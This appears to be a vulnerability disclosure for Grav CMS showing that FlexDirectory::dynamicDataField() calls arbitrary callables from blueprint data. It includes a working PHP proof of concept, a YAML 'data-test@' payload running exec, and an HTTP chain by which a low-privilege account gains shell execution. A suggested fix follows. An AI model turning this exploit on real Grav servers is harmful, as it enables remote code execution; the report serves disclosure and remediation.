Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

is_callable() only checks that $function resolves to something callable. It does not check whether calling it is safe. 'exec', 'system', 'passthru', and 'shell_exec' are all valid PHP callables, so this passes them through without complaint.

Compare this to the patched Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426-448), which calls $this->isSafeDynamicCall($function, $params) before doing anything. That method denies known command-execution functions (exec, system, passthru, shell_exec, popen, proc_open, pcntl_exec), known code-execution functions (assert, preg_replace, create_function, include, require), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through Utils::arrayFilterRecursive. None of that logic exists in dynamicDataField().

Version tested: current master, commit fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969. git describe reports this as 2.0.8-2-gfae9e1bf2, two commits past the 2.0.8 tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (ParsedownGravTrait.php, unrelated). Neither touches Blueprint.php, FlexDirectory.php, or Utils.php. git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.

PoC

Part 1, code level. This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with composer install run. It calls the real, unmodified FlexDirectory::dynamicDataField() directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.

<?php
require 'vendor/autoload.php';

use Grav\Common\Data\Blueprint;
use Grav\Framework\Flex\FlexDirectory;

$proofFile = '/tmp/grav_rce_proof.txt';

// Mimics a Flex directory blueprint YAML file containing a data-test@: directive,
// the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData().
// No trampoline gadget needed here. dynamicDataField() performs zero validation
// on $function.
$items = [
    'fields' => [
        'myfield' => [
            'type' => 'text',
            'data-test@' => ['exec', "id > $proofFile 2>&1"],
        ],
    ],
];

$blueprint = new Blueprint(null, $items);
$blueprint->embed('', $items); // triggers deepInit(), populates $blueprint->dynamic

// Register the real, unmodified FlexDirectory::dynamicDataField as the 'data'
// handler. This is exactly what FlexDirectory::getBlueprint() does for every
// Flex directory in production.
$refClass = new ReflectionClass(FlexDirectory::class);
$flexDirectoryInstance = $refClass->newInstanceWithoutConstructor();
$method = $refClass->getMethod('dynamicDataField');
$method->setAccessible(true);

$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) {
    $method->invoke($flexDirectoryInstance, $field, $property, $call);
});

$blueprint->init();

echo file_exists($proofFile) ? file_get_contents($proofFile) : "not vulnerable\n";

Output:

uid=1000(d) gid=1000(d) groups=1000(d),4(adm),...

Part 2, full HTTP chain against the real admin panel. Configuration used:

• Base checkout: same commit as above.
• bin/gpm install admin flex-objects -y, which pulls in form, login, email, shortcode-core, api as dependencies.
• php -S localhost:8000 system/router.php.

Step 1. flex-objects ships a self-contained sample custom directory at blueprints/flex-objects/contacts.yaml, with its own admin.contacts/api.contacts permission set. Added one field to its form.fields:

    pocfield:
      type: text
      label: PoC Field
      data-test@:
        - exec
        - "id > /tmp/grav_http_rce_proof.txt 2>&1"

Step 2. Registered contacts as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (user/config/plugins/flex-objects.yaml):

directories:
  - 'blueprints://flex-objects/pages.yaml'
  - 'blueprints://flex-objects/user-accounts.yaml'
  - 'blueprints://flex-objects/user-groups.yaml'
  - 'blueprints://flex-objects/contacts.yaml'

Step 3. Confirmed a full super-admin account can trigger it, as a baseline. POST /api/v1/flex-objects/contacts (the ordinary "create a new contact" endpoint) with a super-admin JWT:

HTTP 201 Created

/tmp/grav_http_rce_proof.txt contained the id command's output. This confirms the chain fires through the real API: FlexApiController::create() calls FlexDirectory::createObject()/save(), which calls blueprint init(), which calls dynamicDataField(), which calls call_user_func_array('exec', [...]). The read-only blueprint-serving endpoint, GET /blueprints/flex-objects/{type}, does not trigger this; only the create/update processing path calls init().

Step 4. Created a second account with nothing granted except:

access:
  admin:
    login: true
  api:
    access: true
    contacts:
      create: true

No admin.super, no api.super, no permission on anything except creating records in this one directory. That is exactly the permission contacts.yaml's own blueprint declares for this action (admin.permissions.api.contacts: {type: crudpl} maps to api.contacts.create). The token response confirmed the account had nothing else: "super_admin": false, with only api.access and api.contacts.create set to true.

That account sent the same POST /api/v1/flex-objects/contacts request, an ordinary "create a contact" call indistinguishable from legitimate use:

HTTP 201 Created

/tmp/grav_http_rce_proof.txt was overwritten with fresh id output.

This was reproduced a second time on a completely separate, freshly cloned checkout (independent composer install, independent bin/gpm install, new accounts) to rule out any dependency on leftover state from the first run. Same result both times.

Impact

Threat model. The attacker needs an authenticated account with create or update permission on a single Flex directory, nothing more. The PoC account held exactly one permission, api.contacts.create, scoped to one custom directory, with super_admin: false and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor's own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server.

Any Grav 2.0 install running the flex-objects plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a data-*@: directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in flex-objects or admin UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role.

Suggested fix: route FlexDirectory::dynamicDataField() through the same isSafeDynamicCall()/Utils::isDangerousFunction() checks Blueprint::dynamicData() already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other addDynamicHandler() registration in the codebase has the same gap.